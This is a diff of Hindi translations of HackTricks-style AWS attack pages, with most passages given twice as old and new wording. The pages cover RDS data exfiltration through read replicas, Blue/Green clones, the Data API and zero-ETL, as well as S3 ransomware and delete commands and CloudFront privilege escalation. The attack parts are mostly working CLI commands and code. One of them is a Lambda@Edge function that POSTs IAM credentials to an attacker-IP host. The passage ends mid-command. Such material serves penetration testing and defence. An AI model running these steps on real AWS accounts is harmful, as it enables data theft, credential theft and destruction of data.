प्रभाव: Post-exploitation डेटा एक्सेस — AWS APIs के माध्यम से सभी application SQL statements को कैप्चर करके (no DB creds), संभावित रूप से secrets, JWTs, और PII का leak।
|
||||
प्रभाव: Post-exploitation डेटा एक्सेस — सभी application SQL statements को AWS APIs के माध्यम से capture करके (कोई DB creds नहीं), potentially leaking secrets, JWTs, और PII।
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS read replicas का दुरुपयोग करके primary instance credentials को छुए बिना आउट-ऑफ-बैंड read access प्राप्त किया जा सकता है। एक attacker production instance से एक read replica बना सकता है, replica का master password reset कर सकता है (यह primary को नहीं बदलता), और वैकल्पिक रूप से replica को publicly expose करके data को exfiltrate कर सकता है।
|
||||
RDS read replicas का दुरुपयोग करके primary instance credentials को छुए बिना out-of-band read access हासिल किया जा सकता है। एक attacker production instance से एक read replica बना सकता है, replica का master password reset कर सकता है (यह primary को बदलता नहीं है), और वैकल्पिक रूप से replica को सार्वजनिक रूप से एक्सपोज़ करके data को exfiltrate कर सकता है।
|
||||
|
||||
Permissions needed (minimum):
|
||||
आवश्यक permissions (न्यूनतम):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (यदि सार्वजनिक रूप से एक्सपोज़ कर रहे हों)
|
||||
|
||||
प्रभाव: attacker-controlled credentials वाले replica के माध्यम से production data पर read-only access; detection की संभावना कम रहती है क्योंकि primary अप्रभावित रहता है और replication जारी रहती है।
|
||||
प्रभाव: attacker-controlled credentials वाले replica के माध्यम से production data तक read-only access; detection की संभावना कम रहती है क्योंकि primary untouched रहता है और replication जारी रहती है।
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -305,12 +341,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
उदाहरण साक्ष्य (MySQL):
|
||||
- Replica DB स्थिति: `available`, read replication: `replicating`
|
||||
- नए पासवर्ड के साथ सफल कनेक्शन और `@@read_only=1` read-only रिप्लिका एक्सेस की पुष्टि करता है।
|
||||
- रेप्लिका DB स्थिति: `available`, read replication: `replicating`
|
||||
- नए पासवर्ड के साथ सफल कनेक्शन और `@@read_only=1` ने read-only रेप्लिका एक्सेस की पुष्टि की।
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS Blue/Green का दुरुपयोग करके production DB को एक सतत रूप से replicated, read‑only green environment में clone करें। फिर green master credentials को reset करके बिना blue (prod) instance को छुए डेटा तक पहुँच प्राप्त करें। यह snapshot sharing की तुलना में अधिक stealthier है और अक्सर केवल स्रोत पर केंद्रित monitoring को bypass कर देता है।
|
||||
RDS Blue/Green का दुरुपयोग करके production DB को एक लगातार प्रतिकृत, read‑only green environment में क्लोन करें। फिर green master credentials को रीसेट करके बिना blue (prod) instance को छुए डेटा तक पहुँच हासिल करें। यह snapshot sharing की तुलना में अधिक चुपचाप है और अक्सर केवल स्रोत पर केंद्रित निगरानी को बायपास कर देता है।
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,22 +393,21 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
प्रभाव: प्रोडक्शन इंस्टेंस को बदले बिना प्रोडक्शन के near-real-time क्लोन तक read-only पर पूर्ण डेटा पहुँच। गुप्त डेटा निकालने और ऑफ़लाइन विश्लेषण के लिए उपयोगी।
|
||||
प्रभाव: बिना production instance को modify किए production के near-real-time क्लोन तक केवल-पढ़ने (read-only) पर भी पूरा डेटा एक्सेस। चोरी-छिपे data extraction और offline analysis के लिए उपयोगी।
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
### RDS Data API के जरिए Out-of-band SQL — HTTP endpoint सक्षम करके + master password रीसेट करना
|
||||
Aurora का दुरुपयोग करके target cluster पर RDS Data API HTTP endpoint को सक्षम करें, master password को अपने नियंत्रण वाले मान पर reset करें, और HTTPS पर SQL चलाएँ (कोई VPC network path आवश्यक नहीं)। यह उन Aurora engines पर काम करता है जो Data API/EnableHttpEndpoint को सपोर्ट करते हैं (उदा., Aurora MySQL 8.0 provisioned; कुछ Aurora PostgreSQL/MySQL versions)।
|
||||
|
||||
Aurora का दुरुपयोग करके लक्षित cluster पर RDS Data API HTTP endpoint सक्षम करें, master password को अपनी नियंत्रित वैल्यू पर रीसेट करें, और HTTPS पर SQL चलाएँ (कोई VPC network path आवश्यक नहीं)। यह उन Aurora engines पर काम करता है जो Data API/EnableHttpEndpoint को सपोर्ट करते हैं (उदा., Aurora MySQL 8.0 provisioned; कुछ Aurora PostgreSQL/MySQL versions)।
|
||||
|
||||
Permissions (minimum):
|
||||
अनुमतियाँ (न्यूनतम):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
प्रभाव: नेटवर्क segmentation को बायपास करके और DB तक सीधे VPC कनेक्टिविटी के बिना AWS APIs के माध्यम से डेटा exfiltrate करें।
|
||||
प्रभाव: नेटवर्क segmentation को bypass करके AWS APIs के माध्यम से बिना DB के साथ direct VPC connectivity के डेटा exfiltrate करें।
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (Aurora MySQL example)</summary>
|
||||
<summary>एंड-टू-एंड CLI (Aurora MySQL उदाहरण)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -424,24 +459,24 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
```
|
||||
</details>
|
||||
|
||||
नोट्स:
|
||||
- यदि multi-statement SQL को rds-data द्वारा अस्वीकार कर दिया जाता है, तो अलग-अलग execute-statement कॉल जारी करें।
|
||||
- उन engines के लिए जहाँ `modify-db-cluster --enable-http-endpoint` का कोई प्रभाव नहीं होता, `rds enable-http-endpoint --resource-arn` का उपयोग करें।
|
||||
- सुनिश्चित करें कि engine/version वास्तव में Data API का समर्थन करता है; अन्यथा `HttpEndpointEnabled` False ही रहेगा।
|
||||
Notes:
|
||||
- यदि multi-statement SQL को `rds-data` द्वारा अस्वीकार कर दिया जाता है, तो अलग-अलग `execute-statement` कॉल्स जारी करें।
|
||||
- जिन engines में `modify-db-cluster --enable-http-endpoint` का कोई प्रभाव नहीं होता, वहां `rds enable-http-endpoint --resource-arn` का उपयोग करें।
|
||||
- सुनिश्चित करें कि engine/version वास्तव में Data API को सपोर्ट करता है; अन्यथा `HttpEndpointEnabled` False ही रहेगा।
|
||||
|
||||
|
||||
### RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) के माध्यम से DB credentials प्राप्त करें
|
||||
### RDS Proxy auth secrets के माध्यम से DB credentials हासिल करना (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
RDS Proxy configuration का दुरुपयोग करके backend authentication के लिए उपयोग किए गए Secrets Manager secret की खोज करें, फिर database credentials प्राप्त करने के लिए उस secret को पढ़ें। कई वातावरण व्यापक `secretsmanager:GetSecretValue` अनुमति देते हैं, जिससे यह DB creds तक पहुँचने का एक कम-घर्षण pivot बन जाता है। यदि secret किसी CMK का उपयोग करता है, तो गलत-स्कोप किए गए KMS permissions संभवतः `kms:Decrypt` की अनुमति भी दे सकते हैं।
|
||||
RDS Proxy configuration का दुरुपयोग करके यह पता करें कि backend authentication के लिए कौन सा Secrets Manager secret इस्तेमाल हो रहा है, और फिर database credentials प्राप्त करने के लिए उस secret को पढ़ें। कई वातावरण व्यापक `secretsmanager:GetSecretValue` अनुमतियाँ प्रदान करते हैं, जिससे यह DB creds की ओर एक कम-घर्षण pivot बन जाता है। यदि secret एक CMK का उपयोग करता है, तो गलत-स्कोप्ड KMS permissions `kms:Decrypt` की अनुमति भी दे सकते हैं।
|
||||
|
||||
आवश्यक permissions (न्यूनतम):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- वैकल्पिक जब secret CMK का उपयोग करता है: `kms:Decrypt` on that key
|
||||
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
|
||||
|
||||
प्रभाव: प्रॉक्सी पर कॉन्फ़िगर किए गए DB username/password का तत्काल खुलासा; यह सीधे DB एक्सेस या आगे के lateral movement को सक्षम बनाता है।
|
||||
Impact: proxy पर कॉन्फ़िगर किए गए DB username/password का तुरंत खुलासा; सीधे DB access या आगे के lateral movement को सक्षम करता है।
|
||||
|
||||
स्टेप्स
|
||||
Steps
|
||||
```bash
|
||||
# 1) Enumerate proxies and extract the SecretArn used for auth
|
||||
aws rds describe-db-proxies \
|
||||
@@ -454,7 +489,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Lab (दोहराने के लिए न्यूनतम)
|
||||
लैब (पुनरुत्पादन के लिए न्यूनतम)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -480,17 +515,17 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
### छुपा हुआ निरंतर exfiltration Aurora zero‑ETL के माध्यम से Amazon Redshift तक (rds:CreateIntegration)
|
||||
|
||||
Aurora PostgreSQL zero‑ETL integration का दुरुपयोग करके production डेटा को लगातार आपके नियंत्रित Redshift Serverless namespace में replicate किया जा सकता है। एक permissive Redshift resource policy जो CreateInboundIntegration/AuthorizeInboundIntegration को किसी विशिष्ट Aurora cluster ARN के लिए authorize करती है, एक attacker बिना DB creds, snapshots या network exposure के लगभग वास्तविक‑समय डेटा कॉपी स्थापित कर सकता है।
|
||||
दुरुपयोग करें Aurora PostgreSQL zero‑ETL इंटीग्रेशन का ताकि आप नियंत्रित करने वाले Redshift Serverless namespace में production डेटा को लगातार replicate कर सकें। ऐसी permissive Redshift resource policy जो किसी विशिष्ट Aurora cluster ARN के लिए CreateInboundIntegration/AuthorizeInboundIntegration को authorize करे, एक attacker को DB creds, snapshots या network exposure के बिना एक near‑real‑time डेटा कॉपी स्थापित करने देती है।
|
||||
|
||||
आवश्यक अनुमतियाँ (न्यूनतम):
|
||||
Permissions needed (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (क्वेरी करने के लिए)
|
||||
- `rds-data:ExecuteStatement` (वैकल्पिक; यदि आवश्यक हो तो डेटा seed करने के लिए)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
परीक्षण किया गया: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Redshift Serverless namespace + workgroup बनाएँ</summary>
|
||||
@@ -509,7 +544,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Redshift resource policy को कॉन्फ़िगर करें ताकि Aurora स्रोत को अनुमति मिले</summary>
|
||||
<summary>2) Redshift संसाधन नीति को Aurora स्रोत को अनुमति देने के लिए कॉन्फ़िगर करें</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -540,7 +575,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Aurora PostgreSQL क्लस्टर बनाएँ (Data API और logical replication सक्षम करें)</summary>
|
||||
<summary>3) Aurora PostgreSQL cluster बनाएँ (Data API और logical replication सक्षम करें)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -571,7 +606,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) RDS से zero‑ETL integration बनाएं</summary>
|
||||
<summary>4) RDS से zero‑ETL integration बनाएँ</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -583,7 +618,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Redshift में प्रतिकृत डेटा को materialize और query करें</summary>
|
||||
<summary>5) Redshift में प्रतिकृत डेटा को materialize करें और query करें</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -596,11 +631,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
```
|
||||
</details>
|
||||
|
||||
परीक्षण में प्रेक्षित साक्ष्य:
|
||||
परीक्षण में देखे गए प्रमाण:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
|
||||
- SVV_INTEGRATION ने integration_id 377a462b-c42c-4f08-937b-77fe75d98211 और state PendingDbConnectState दिखाया, DB creation से पहले।
|
||||
- CREATE DATABASE FROM INTEGRATION के बाद, tables की सूची में schema ztl और table customers दिखाई दिए; ztl.customers से select करने पर 2 rows (Alice, Bob) लौटे।
|
||||
|
||||
प्रभाव: आक्रमणकर्ता द्वारा नियंत्रित Redshift Serverless में चुनी गई Aurora PostgreSQL तालिकाओं का निरंतर निकट-रियल-टाइम exfiltration, स्रोत क्लस्टर तक database credentials, backups, या network access का उपयोग किए बिना।
|
||||
|
||||
प्रभाव: हमलावर द्वारा नियंत्रित Redshift Serverless में चयनित Aurora PostgreSQL टेबल्स का लगातार near‑real‑time exfiltration संभव हुआ, बिना database credentials, backups, या source cluster के नेटवर्क एक्सेस का उपयोग किए।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,29 +10,60 @@ For more information check:
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### संवेदनशील जानकारी
|
||||
### Sensitive Information
|
||||
|
||||
कभी-कभी आप buckets में पढ़ने योग्य रूप में संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, terraform state secrets.
|
||||
कभी-कभी आप buckets में पठनीय रूप में संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, terraform state secrets।
|
||||
|
||||
### Pivoting
|
||||
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
|
||||
विभिन्न प्लेटफ़ॉर्म S3 का उपयोग संवेदनशील assets स्टोर करने के लिए कर सकते हैं।\
|
||||
उदाहरण के लिए, **airflow** वहाँ **DAGs** **code** स्टोर कर सकता है, या **web pages** सीधे S3 से serve किए जा सकते हैं। जिनके पास write permissions हैं, वे bucket के code को **modify the code** कर के अन्य प्लेटफ़ॉर्म पर **pivot** कर सकते हैं, या JS फाइलें बदल कर **takeover accounts** कर सकते हैं।
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
|
||||
इस परिदृश्य में, **हमलावर अपने ही AWS account में या किसी अन्य compromised account में एक KMS (Key Management Service) key बनाता है**। फिर वे इस **key को दुनिया के किसी भी व्यक्ति के लिए accessible बना देते हैं**, जिससे कोई भी AWS user, role, या account इस key का उपयोग करके objects को encrypt कर सकता है। हालाँकि, objects को decrypt नहीं किया जा सकता।
|
||||
|
||||
The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
|
||||
हमलावर एक target **S3 bucket पहचानता है और उस पर write-level access प्राप्त करता है** विभिन्न तरीकों से। यह खराब bucket configuration के कारण सार्वजनिक रूप से एक्सपोज़ होने के कारण हो सकता है या हमलावर ने खुद AWS environment तक पहुँच बना ली हो। हमलावर आम तौर पर उन buckets को निशाना बनाता है जिनमें संवेदनशील जानकारी होती है — जैसे PII, PHI, logs, backups, आदि।
|
||||
|
||||
To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
|
||||
यह निर्धारित करने के लिए कि क्या bucket ransomware के लिए लक्षित किया जा सकता है, हमलावर इसकी configuration की जाँच करता है। इसमें यह सत्यापित करना शामिल है कि क्या **S3 Object Versioning** enabled है और क्या **multi-factor authentication delete (MFA delete)** enabled है। यदि Object Versioning enabled नहीं है, तो हमलावर आगे बढ़ सकता है। यदि Object Versioning enabled है पर MFA delete disabled है, तो हमलावर **Object Versioning को disable** कर सकता है। यदि दोनों Object Versioning और MFA delete enabled हैं, तो उस विशेष bucket को ransomware करना कठिन हो जाता है।
|
||||
|
||||
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
|
||||
AWS API का उपयोग करके, हमलावर **हर ऑब्जेक्ट को bucket में उनके KMS key का उपयोग कर एक encrypted copy से बदल देता है**। यह प्रभावी रूप से bucket के डेटा को encrypt कर देता है, जिससे बिना key के वह डेटा inaccessible हो जाता है।
|
||||
|
||||
To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
|
||||
अधिक दबाव डालने के लिए, हमलावर उस KMS key को delete करने का शेड्यूल कर देता है जिसका उपयोग आक्रमण में हुआ था। इससे लक्ष्य के पास अपने डेटा को recover करने के लिए 7-day विंडो मिलती है, उसके बाद key delete हो जाने पर डेटा स्थायी रूप से खो सकता है।
|
||||
|
||||
Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
|
||||
अंत में, हमलावर आमतौर पर "ransom-note.txt" नामक एक अंतिम फ़ाइल अपलोड कर सकता है, जिसमें लक्षित व्यक्ति को अपनी फ़ाइलें कैसे वापस पायी जा सकती हैं इसकी निर्देशिका होती है। यह फ़ाइल बिना encryption के अपलोड की जाती है, ताकि लक्षित व्यक्ति का ध्यानाकर्षण हो और वे ransomware हमले से अवगत हो सकें।
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
### `s3:RestoreObject`
|
||||
|
||||
जिसके पास s3:RestoreObject permission है वह Glacier या Deep Archive में archived objects को पुनः सक्रिय कर सकता है, जिससे वे अस्थायी रूप से accessible हो जाते हैं। यह सामान्यतः पहुँच से बाहर रहने वाले ऐतिहासिक रूप से archived डेटा (backups, snapshots, logs, certifications, old secrets) की recovery और exfiltration को सक्षम बनाता है। यदि हमलावर इस permission को read permissions (उदा., s3:GetObject) के साथ combine करता है, तो वे संवेदनशील डेटा की पूरी copies प्राप्त कर सकते हैं।
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--restore-request '{
|
||||
"Days": <NUMBER_OF_DAYS>,
|
||||
"GlacierJobParameters": { "Tier": "Standard" }
|
||||
}'
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
एक attacker जिसके पास s3:Delete* permission है, वह objects, versions और पूरे buckets को delete कर सकता है, backups को बाधित कर सकता है, और तुरंत तथा अपरिवर्तनीय data loss, सबूतों के नष्ट होने, तथा backup या recovery artifacts के compromise का कारण बन सकता है।
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY>
|
||||
|
||||
# Delete a specific version
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--version-id <VERSION_ID>
|
||||
|
||||
# Delete a bucket
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**अधिक जानकारी के लिए** [**मूल शोध देखें**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,217 @@
|
||||
# AWS - CloudFront Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
जिस हमलावर के पास cloudfront:UpdateDistribution और cloudfront:GetDistributionConfig permissions हैं, वह CloudFront distribution की configuration को संशोधित कर सकता है। उन्हें target S3 bucket पर सीधे permissions की ज़रूरत नहीं होती, हालाँकि हमला तब आसान होता है जब उस bucket की permissive policy cloudfront.amazonaws.com service principal से access की अनुमति देती हो।
|
||||
|
||||
हमलावर distribution की origin configuration बदलकर इसे किसी दूसरे S3 bucket या हमलावर द्वारा नियंत्रित server की ओर इशारा करवा देता है। पहले वे current distribution configuration प्राप्त करते हैं:
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
फिर वे current-config.json को संपादित करके origin को नए resource की ओर इंगित करते हैं — उदाहरण के लिए, एक अलग S3 bucket:
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"Id": "<origin-id>",
|
||||
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
|
||||
"OriginPath": "",
|
||||
"CustomHeaders": {
|
||||
"Quantity": 0
|
||||
},
|
||||
"S3OriginConfig": {
|
||||
"OriginAccessIdentity": "",
|
||||
"OriginReadTimeout": 30
|
||||
},
|
||||
"ConnectionAttempts": 3,
|
||||
"ConnectionTimeout": 10,
|
||||
"OriginShield": {
|
||||
"Enabled": false
|
||||
},
|
||||
"OriginAccessControlId": "E30N32Y4IBZ971"
|
||||
}
|
||||
]
|
||||
},
|
||||
...
|
||||
```
|
||||
अंत में, संशोधित कॉन्फ़िगरेशन लागू करें (अपडेट करते समय आपको वर्तमान ETag प्रदान करना होगा):
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
|
||||
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
|
||||
|
||||
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
|
||||
|
||||
```bash
|
||||
function handler(event) {
|
||||
var request = event.request;
|
||||
var response = event.response;
|
||||
// Create a new body with malicious JavaScript
|
||||
var maliciousBody = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>समझौता किया गया पृष्ठ</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>मूल सामग्री</h1>
|
||||
<p>यह पृष्ठ CloudFront Functions द्वारा संशोधित किया गया है</p>
|
||||
<script>
|
||||
// Malicious JavaScript
|
||||
alert('CloudFront Function कोड इंजेक्शन सफल हुआ!');
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
`;
|
||||
// Replace the body entirely
|
||||
response.body = { encoding: "text", data: maliciousBody };
|
||||
// Update headers
|
||||
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
|
||||
response.headers["content-length"] = {
|
||||
value: maliciousBody.length.toString(),
|
||||
};
|
||||
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
|
||||
return response;
|
||||
}
|
||||
```
|
||||
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# CloudFront में malicious function बनाएं
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# DEVELOPMENT stage में function का ETag प्राप्त करें
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# LIVE stage पर function को publish करें
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
Add the function to the distribution configuration (FunctionAssociations):
|
||||
|
||||
```bash
|
||||
"FunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
|
||||
"EventType": "viewer-response"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Finally update the distribution configuration (remember to supply the current ETag):
|
||||
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
|
||||
|
||||
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
|
||||
|
||||
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
|
||||
|
||||
```bash
|
||||
// malicious-lambda-edge.js
|
||||
exports.handler = async (event) => {
|
||||
// Obtain role credentials
|
||||
const credentials = {
|
||||
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
||||
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
sessionToken: process.env.AWS_SESSION_TOKEN,
|
||||
};
|
||||
// Send credentials to attacker's server
|
||||
try {
|
||||
await fetch("https://<attacker-ip>/steal-credentials", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(credentials)
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Error sending credentials:", error);
|
||||
}
|
||||
if (event.Records && event.Records[0] && event.Records[0].cf) {
|
||||
// Modify response headers
|
||||
const response = event.Records[0].cf.response;
|
||||
response.headers["x-credential-theft"] = [
|
||||
{
|
||||
key: "X-Credential-Theft",
|
||||
value: "Successful",
|
||||
},
|
||||
];
|
||||
return response;
|
||||
}
|
||||
return {
|
||||
statusCode: 200,
|
||||
body: JSON.stringify({ message: "Credentials stolen" })
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
```bash
|
||||
# Lambda@Edge फ़ंक्शन पैकेज करें
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# एक privileged role के साथ Lambda@Edge फ़ंक्शन बनाएँ
|
||||
aws lambda create-function \
|
||||
